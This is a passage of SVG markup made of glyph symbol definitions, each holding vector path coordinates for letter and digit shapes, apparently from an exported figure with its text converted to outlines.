-1.566406 1.40625 -2.546875 L 1.40625 -8.703125 L 0.1875 -8.703125 Z M 0.1875 -10"/></symbol><symbol overflow="visible" id="e"><path d="M 1.078125 -9.40625 C 1.460938 -9.644531 1.929688 -9.828125 2.484375 -9.953125 C 3.035156 -10.085938 3.617188 -10.15625 4.234375 -10.15625 C 4.796875 -10.15625 5.242188 -10.070312 5.578125 -9.90625 C 5.921875 -9.738281 6.191406 -9.507812 6.390625 -9.21875 C 6.585938 -8.9375 6.710938 -8.613281 6.765625 -8.25 C 6.828125 -7.882812 6.859375 -7.5 6.859375 -7.09375 C 6.859375 -6.300781 6.84375 -5.523438 6.8125 -4.765625 C 6.78125 -4.003906 6.765625 -3.28125 6.765625 -2.59375 C 6.765625 -2.09375 6.78125 -1.625 6.8125 -1.1875 C 6.84375 -0.757812 6.90625 -0.347656 7 0.046875 L 5.90625 0.046875 L 5.5625 -1.140625 L 5.484375 -1.140625 C 5.285156 -0.796875 4.988281 -0.492188 4.59375 -0.234375 C 4.207031 0.015625 3.691406 0.140625 3.046875 0.140625 C 2.316406 0.140625 1.722656 -0.109375 1.265625 -0.609375 C 0.804688 -1.109375 0.578125 -1.800781 0.578125 -2.6875 C 0.578125 -3.257812 0.671875 -3.738281 0.859375 -4.125 C 1.054688 -4.507812 1.332031 -4.820312 1.6875 -5.0625 C 2.039062 -5.300781 2.460938 -5.46875 2.953125 -5.5625 C 3.441406 -5.664062 3.984375 -5.71875 4.578125 -5.71875 C 4.710938 -5.71875 4.847656 -5.71875 4.984375 -5.71875 C 5.117188 -5.71875 5.257812 -5.710938 5.40625 -5.703125 C 5.4375 -6.109375 5.453125 -6.472656 5.453125 -6.796875 C 5.453125 -7.554688 5.335938 -8.085938 5.109375 -8.390625 C 4.890625 -8.703125 4.476562 -8.859375 3.875 -8.859375 C 3.5 -8.859375 3.09375 -8.800781 2.65625 -8.6875 C 2.21875 -8.570312 1.851562 -8.429688 1.5625 -8.265625 Z M 5.421875 -4.5625 C 5.285156 -4.570312 5.148438 -4.578125 5.015625 -4.578125 C 4.878906 -4.585938 4.75 -4.59375 4.625 -4.59375 C 4.300781 -4.59375 3.984375 -4.566406 3.671875 -4.515625 C 3.367188 -4.460938 3.097656 -4.367188 2.859375 -4.234375 C 2.617188 -4.109375 2.425781 -3.929688 2.28125 -3.703125 C 2.144531 -3.472656 2.078125 -3.1875 2.078125 -2.84375 C 2.078125 -2.3125 2.207031 -1.894531 2.46875 -1.59375 C 2.726562 -1.300781 3.066406 -1.15625 3.484375 -1.15625 C 4.035156 -1.15625 4.460938 -1.285156 4.765625 -1.546875 C 5.078125 -1.816406 5.296875 -2.113281 5.421875 -2.4375 Z M 5.421875 -4.5625"/></symbol><symbol overflow="visible" id="f"><path d="M 2.71875 -2.375 C 2.71875 -1.914062 2.78125 -1.582031 2.90625 -1.375 C 3.03125 -1.175781 3.207031 -1.078125 3.4375 -1.078125 C 3.71875 -1.078125 4.046875 -1.148438 4.421875 -1.296875 L 4.5625 -0.140625 C 4.382812 -0.0351562 4.140625 0.046875 3.828125 0.109375 C 3.515625 0.179688 3.234375 0.21875 2.984375 0.21875 C 2.472656 0.21875 2.0625 0.0625 1.75 -0.25 C 1.4375 -0.5625 1.28125 -1.113281 1.28125 -1.90625 L 1.28125 -14 L 2.71875 -14 Z M 2.71875 -2.375"/></symbol><symbol overflow="visible" id="g"><path d="M 6.65625 -3.921875 L 2.703125 -3.921875 L 1.578125 0 L 0.09375 0 L 4.3125 -14.21875 L 5.140625 -14.21875 L 9.359375 0 L 7.796875 0 Z M 3.09375 -5.265625 L 6.296875 -5.265625 L 5.078125 -9.578125 L 4.703125 -11.6875 L 4.65625 -11.6875 L 4.28125 -9.546875 Z M 3.09375 -5.265625"/></symbol><symbol overflow="visible" id="h"><path d="M 7.484375 -3.4375 C 7.484375 -2.757812 7.488281 -2.144531 7.5 -1.59375 C 7.507812 -1.039062 7.554688 -0.492188 7.640625 0.046875 L 6.65625 0.046875 L 6.34375 -1.15625 L 6.265625 -1.15625 C 6.078125 -0.757812 5.78125 -0.425781 5.375 -0.15625 C 4.976562 0.101562 4.5 0.234375 3.9375 0.234375 C 2.851562 0.234375 2.046875 -0.179688 1.515625 -1.015625 C 0.992188 -1.859375 0.734375 -3.179688 0.734375 -4.984375 C 0.734375 -6.691406 1.054688 -7.984375 1.703125 -8.859375 C 2.359375 -9.742188 3.25 -10.1875 4.375 -10.1875 C 4.757812 -10.1875 5.066406 -10.160156 5.296875 -10.109375 C 5.523438 -10.066406 5.773438 -9.988281 6.046875 -9.875 L 6.046875 -14 L 7.484375 -14 Z M 6.046875 -8.421875 C 5.859375 -8.578125 5.644531 -8.691406 5.40625 -8.765625 C 5.175781 -8.835938 4.867188 -8.875 4.484375 -8.875 C 3.773438 -8.875 3.222656 -8.550781 2.828125 -7.90625 C 2.429688 -7.269531 2.234375 -6.285156 2.234375 -4.953125 C 2.234375 -4.367188 2.269531 -3.835938 2.34375 -3.359375 C 2.414062 -2.890625 2.53125 -2.484375 2.6875 -2.140625 C 2.84375 -1.796875 3.039062 -1.53125 3.28125 -1.34375 C 3.53125 -1.15625 3.835938 -1.0625 4.203125 -1.0625 C 5.160156 -1.0625 5.773438 -1.628906 6.046875 -2.765625 Z M 6.046875 -8.421875"/></symbol><symbol overflow="visible" id="i"><path d="M 1.1875 -10 L 2.203125 -10 L 2.453125 -8.9375 L 2.515625 -8.9375 C 2.703125 -9.320312 2.945312 -9.625 3.25 -9.84375 C 3.550781 -10.070312 3.914062 -10.1875 4.34375 -10.1875 C 4.644531 -10.1875 4.988281 -10.125 5.375 -10 L 5.09375 -8.546875 C 4.75 -8.660156 4.445312 -8.71875 4.1875 -8.71875 C 3.757812 -8.71875 3.410156 -8.59375 3.140625 -8.34375 C 2.867188 -8.101562 2.695312 -7.773438 2.625 -7.359375 L 2.625 0 L 1.1875 0 Z M 1.1875 -10"/></symbol><symbol overflow="visible" id="j"><path d="M 7.15625 -0.6875 C 6.84375 -0.382812 6.4375 -0.15625 5.9375 0 C 5.445312 0.15625 4.925781 0.234375 4.375 0.234375 C 3.75 0.234375 3.207031 0.113281 2.75 -0.125 C 2.289062 -0.375 1.910156 -0.726562 1.609375 -1.1875 C 1.304688 -1.644531 1.082031 -2.191406 0.9375 -2.828125 C 0.800781 -3.472656 0.734375 -4.195312 0.734375 -5 C 0.734375 -6.707031 1.046875 -8.003906 1.671875 -8.890625 C 2.304688 -9.785156 3.195312 -10.234375 4.34375 -10.234375 C 4.71875 -10.234375 5.085938 -10.1875 5.453125 -10.09375 C 5.816406 -10 6.144531 -9.8125 6.4375 -9.53125 C 6.726562 -9.257812 6.960938 -8.867188 7.140625 -8.359375 C 7.328125 -7.847656 7.421875 -7.1875 7.421875 -6.375 C 7.421875 -6.15625 7.410156 -5.914062 7.390625 -5.65625 C 7.367188 -5.394531 7.34375 -5.125 7.3125 -4.84375 L 2.234375 -4.84375 C 2.234375 -4.269531 2.28125 -3.75 2.375 -3.28125 C 2.46875 -2.8125 2.613281 -2.410156 2.8125 -2.078125 C 3.019531 -1.753906 3.28125 -1.503906 3.59375 -1.328125 C 3.90625 -1.148438 4.296875 -1.0625 4.765625 -1.0625 C 5.117188 -1.0625 5.472656 -1.125 5.828125 -1.25 C 6.179688 -1.382812 6.453125 -1.546875 6.640625 -1.734375 Z M 6.046875 -6.046875 C 6.066406 -7.046875 5.921875 -7.773438 5.609375 -8.234375 C 5.304688 -8.703125 4.890625 -8.9375 4.359375 -8.9375 C 3.742188 -8.9375 3.253906 -8.703125 2.890625 -8.234375 C 2.535156 -7.773438 2.328125 -7.046875 2.265625 -6.046875 Z M 6.046875 -6.046875"/></symbol><symbol overflow="visible" id="k"><path d="M 8.65625 -12.625 L 5.21875 -12.625 L 5.21875 0 L 3.71875 0 L 3.71875 -12.625 L 0.28125 -12.625 L 0.28125 -14 L 8.65625 -14 Z M 8.65625 -12.625"/></symbol><symbol overflow="visible" id="l"><path d="M 3.65625 -3.546875 L 4.078125 -1.59375 L 4.1875 -1.59375 L 4.484375 -3.546875 L 6 -10 L 7.453125 -10 L 5.078125 -1.015625 C 4.890625 -0.296875 4.703125 0.375 4.515625 1 C 4.328125 1.625 4.125 2.164062 3.90625 2.625 C 3.6875 3.082031 3.441406 3.441406 3.171875 3.703125 C 2.898438 3.960938 2.578125 4.09375 2.203125 4.09375 C 1.828125 4.09375 1.5 4.035156 1.21875 3.921875 L 1.453125 2.5625 C 1.640625 2.625 1.828125 2.632812 2.015625 2.59375 C 2.203125 2.5625 2.378906 2.453125 2.546875 2.265625 C 2.710938 2.078125 2.863281 1.796875 3 1.421875 C 3.144531 1.054688 3.269531 0.582031 3.375 0 L 0.140625 -10 L 1.78125 -10 Z M 3.65625 -3.546875"/></symbol><symbol overflow="visible" id="m"><path d="M 1.1875 -10 L 2.203125 -10 L 2.421875 -8.921875 L 2.5 -8.921875 C 2.988281 -9.796875 3.757812 -10.234375 4.8125 -10.234375 C 5.875 -10.234375 6.664062 -9.835938 7.1875 -9.046875 C 7.71875 -8.265625 7.984375 -6.984375 7.984375 -5.203125 C 7.984375 -4.359375 7.894531 -3.597656 7.71875 -2.921875 C 7.539062 -2.253906 7.289062 -1.679688 6.96875 -1.203125 C 6.65625 -0.734375 6.269531 -0.375 5.8125 -0.125 C 5.351562 0.113281 4.84375 0.234375 4.28125 0.234375 C 3.894531 0.234375 3.585938 0.207031 3.359375 0.15625 C 3.128906 0.113281 2.882812 0.0195312 2.625 -0.125 L 2.625 4 L 1.1875 4 Z M 2.625 -1.578125 C 2.8125 -1.421875 3.019531 -1.296875 3.25 -1.203125 C 3.476562 -1.109375 3.789062 -1.0625 4.1875 -1.0625 C 4.882812 -1.0625 5.441406 -1.421875 5.859375 -2.140625 C 6.273438 -2.859375 6.484375 -3.882812 6.484375 -5.21875 C 6.484375 -5.78125 6.445312 -6.285156 6.375 -6.734375 C 6.300781 -7.191406 6.179688 -7.582031 6.015625 -7.90625 C 5.859375 -8.238281 5.65625 -8.492188 5.40625 -8.671875 C 5.164062 -8.847656 4.863281 -8.9375 4.5 -8.9375 C 3.53125 -8.9375 2.90625 -8.34375 2.625 -7.15625 Z M 2.625 -1.578125"/></symbol><symbol overflow="visible" id="n"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="o"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="p"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="q"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="r"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="t"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="u"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="w"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="R"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="Y"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="aa"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="ab"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="ac"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="ad"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="ae"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="af"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 